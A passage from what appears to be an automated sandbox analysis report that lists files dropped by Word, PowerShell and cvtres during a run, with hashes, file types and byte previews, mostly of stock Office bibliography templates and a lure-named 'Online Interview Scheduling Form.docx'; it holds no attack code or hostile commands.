{"EventName":"Office.Telemetry.ProcessIdleQueueJob","Flags":33777014401990913,"InternalSequenceNumber":23,"Time":"2024-11-15T00:01:03.543Z","Contract":"Office.System.Activity","Activity.CV":"hFRMOomaRE+IFON4dE5Owg.7","Activity.Duration":2335,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Data.FailureDia

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1731628863104905000_3A4C5484-9A89-4F44-8814-E378744E4EC2.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Online Interview Scheduling Form.docx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	98366
Entropy (8bit):	7.878898458516939
Encrypted:	false
SSDEEP:	3072:tJoLa+xJxA7Et69PzB+Ki5Ow5sehbRoo4vE:t0JxJxA7EM9Pzo15Ow5HToo+E
MD5:	E4277D7460CCE9813B4038ADD29EB5C7
SHA1:	2EE7C90A537D77AFEACDF0C695BA4FA2F121BFF0
SHA-256:	5DFAFE4F5D03624F289E53A8E9B87FFA0B82A18933EC33F9C6BA02629B16FAB4
SHA-512:	2C3029AEEEC83E2A83CF0BEB47EA3067BE0DB77B156217F4BAFDF7FA37CD056BF13B76873FD66C8D7CB23BF53F69F6CFAE08B9242F8654F6FBA60F79027FDD31
Malicious:	false
Preview:	PK..........!....e...R.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j.0.E......J.(....e.h...4vD.BR^..Q..........{....`..[........p+..K.3..I."3.)k.$k.d4...L..B.j.J2..P...4..u`.RY.Y.W_S../..>.zO.[...<&.2..A..f.+\nH..I......H..i..TxPaO.S...u.0b.+.2....t....$.....7.K.....4v.........i.....$.V....B...U.V4.f...#..p}..;.bD.-....K.~..y'H...6Up}..."....ccs*.;...w.?c..M...v.<...h}.\|.n...@6...?.......PK..........!.........N......._rels/.rels ...(............................

C:\Users\user\AppData\Local\Temp\RES4DCB.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Fri Nov 15 01:46:49 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1336
Entropy (8bit):	3.985340411815393
Encrypted:	false
SSDEEP:	24:Ham9p9EsL/mHwwKqxmNII+ycuZhN9akS7PNnqSSd:tSsDm/Kqxmu1ul9a3xqSC
MD5:	541BE0305085403921D7CB7C3355DE75
SHA1:	9381D7A1A36791C71984CCE1D9FD63CA74E55495
SHA-256:	94679A0D5A04921DE64B37427CF071A13336FD77B682125E65866D3EDE3B2D4B
SHA-512:	0D631754EAC62064BAE94418B0642B26F382249785E7881973BEBECDDC1F355333253C71F37FD9103D45D9BC2747CC70258508D73035BBAAD55682E1C3D3ED64
Malicious:	false
Preview:	L.....6g.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\lsozgnau\CSCDC8C4E3F93914FB7BA165C9B4C26D24F.TMP..................N.!...J..x.>{.............5.......C:\Users\user\AppData\Local\Temp\RES4DCB.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...l.s.o.z.g.n.a.u...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

C:\Users\user\AppData\Local\Temp\TCD18C0.tmp\Vapor_Trail.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	modified
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD18C0.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.5359188337181853
Encrypted:	false
SSDEEP:	6:Q+sxnxUXe46x8RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyO3UymD0wbnKNAH/lMz1
MD5:	0FEA64606C519B78B7A52639FEA11492
SHA1:	FC9A6D5185088318032FD212F6BDCBD1CF2FFE76
SHA-256:	60059C4DD87A74A2DC36748941CF5A421ED394368E0AA19ACA90D850FA6E4A13
SHA-512:	E04102E435B8297BF33086C0AD291AD36B5B4A97A59767F9CAC181D17CFB21D3CAA3235C7CD59BB301C58169C51C05DDDF2D637214384B9CC0324DAB0BB1EF8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.p.o.r._.T.r.a.i.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC088.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5280239200222887
Encrypted:	false
SSDEEP:	6:fxnxUXQAl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyllNGHmD0wbnKYZAH/lMZqiv
MD5:	877A8A960B2140E3A0A2752550959DB9
SHA1:	FBEC17B332CBC42F2F16A1A08767623C7955DF48
SHA-256:	FE07084A41CF7DB58B06D2C0D11BCACB603D6574261D1E7EBADCFF85F39AFB47
SHA-512:	B8B660374EC6504B3B5FCC7DAC63AF30A0C9D24306C36B33B33B23186EC96AEFE958A3851FF3BC57FBA72A1334F633A19C0B8D253BB79AA5E5AFE4A247105889
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.b...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC088.tmp\gb.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDC089.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5502940710609354
Encrypted:	false
SSDEEP:	6:fxnxUXfQICl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXClNGHmD0wbnKYZAH/lMZqiv
MD5:	9B8D7EFE8A69E41CDC2439C38FE59FAF
SHA1:	034D46BEC5E38E20E56DD905E2CA2F25AF947ED1
SHA-256:	70042F1285C3CD91DDE8D4A424A5948AE8F1551495D8AF4612D59709BEF69DF2
SHA-512:	E50BB0C68A33D35F04C75F05AD4598834FEC7279140B1BB0847FF39D749591B8F2A0C94DA4897AAF6C33C50C1D583A836B0376015851910A77604F8396C7EF3C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC089.tmp\iso690.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDC08B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	314
Entropy (8bit):	3.5230842510951934
Encrypted:	false
SSDEEP:	6:fxnxUXJuJaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyZuUw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	F25AC64EC63FA98D9E37782E2E49D6E6
SHA1:	97DD9CFA4A22F5B87F2B53EFA37332A9EF218204
SHA-256:	834046A829D1EA836131B470884905856DBF2C3C136C98ADEEFA0F206F38F8AB
SHA-512:	A0387239CDE98BCDE1668B582B046619C3B3505F9440343DAD22B1B7B9E05F3B74F2AE29E591EC37B6570A0C0E5FE571442873594B0684DDCCB4F6A1B5E10B1F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.e.e.e.2.0.0.6.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC08B.tmp\ieee2006officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Local\Temp\TCDC09E.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.523917709458511
Encrypted:	false
SSDEEP:	6:fxnxUXC1l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnySvNGHmD0wbnKYZAH/lMZqiv
MD5:	4A9A2E8DB82C90608C96008A5B6160EF
SHA1:	A49110814D9546B142C132EBB5B9D8A1EC23E2E6
SHA-256:	4FA948EEB075DFCB8DCA773A3F994560C69D275690953625731C4743CD5729F7
SHA-512:	320B9CC860FFBDB0FD2DB7DA7B7B129EEFF3FFB2E4E4820C3FBBFEA64735EB8CFE1F4BB5980302770C0F77FF575825F2D9A8BB59FC80AD4C198789B3D581963B
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.i.c.a.g.o...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC09E.tmp\chicago.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDC0C9.tmp\APASixthEditionOfficeOnline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Local\Temp\TCDC0C9.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.541819892045459
Encrypted:	false
SSDEEP:	6:fxnxUXuqRDA5McaQVTi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxny+AASZQoNGHmD0wbnKYZAH/lMZqiv
MD5:	C3216C3FC73A4B3FFFE7ED67153AB7B5
SHA1:	F20E4D33BABE978BE6A6925964C57D6E6EF1A92E
SHA-256:	7CF1D6A4F0BE5E6184F59BFB1304509F38E480B59A3B091DBDC43B052D2137CB
SHA-512:	D3B78BE6E7633FF943F5E34063B5EFA4AF239CD49F437227FC7575F6CC65C497B7D6F6A979EA065065BEAF257CB368560B5462542692286052B5C7E5C01755BC
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .A.P.A.S.i.x.t.h.E.d.i.t.i.o.n.O.f.f.i.c.e.O.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC0CA.tmp\BracketList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Local\Temp\TCDC0CA.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	250
Entropy (8bit):	3.4916022431157345
Encrypted:	false
SSDEEP:	6:fxnxUXsAl8xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8A8xoGHmD0+dAH/luWvv
MD5:	1A314B08BB9194A41E3794EF54017811
SHA1:	D1E70DB69CA737101524C75E634BB72F969464FF
SHA-256:	9025DD691FCAD181D5FD5952C7AA3728CD8A2CAF20DEA14930876419BED9B379
SHA-512:	AB29C8674A85711EABAE5F9559E9048FE91A2F51EB12D5A46152A310DE59F759DF8C617DA248798A7C20F60E26FBB1B0FC8DB47C46B098BCD26CF8CE78989ACA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.r.a.c.k.e.t.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC0DB.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.537169234443227
Encrypted:	false
SSDEEP:	6:fxnxUXfQIUA/e/Wl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXZ/eulNGHmD0wbnKYZAH/lMZqiv
MD5:	9C00979164E78E3B890E56BE2DF00666
SHA1:	1FA3C439D214C34168ADF0FBA5184477084A0E51
SHA-256:	21CCB63A82F1E6ACD6BAB6875ABBB37001721675455C746B17529EE793382C7B
SHA-512:	54AC8732C2744B60DA744E54D74A2664658E4257A136ABE886FF21585E8322E028D8243579D131EF4E9A0ABDDA70B4540A051C8B8B60D65C3EC0888FD691B9A7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0.n.m.e.r.i.c.a.l...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC0DB.tmp\iso690nmerical.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
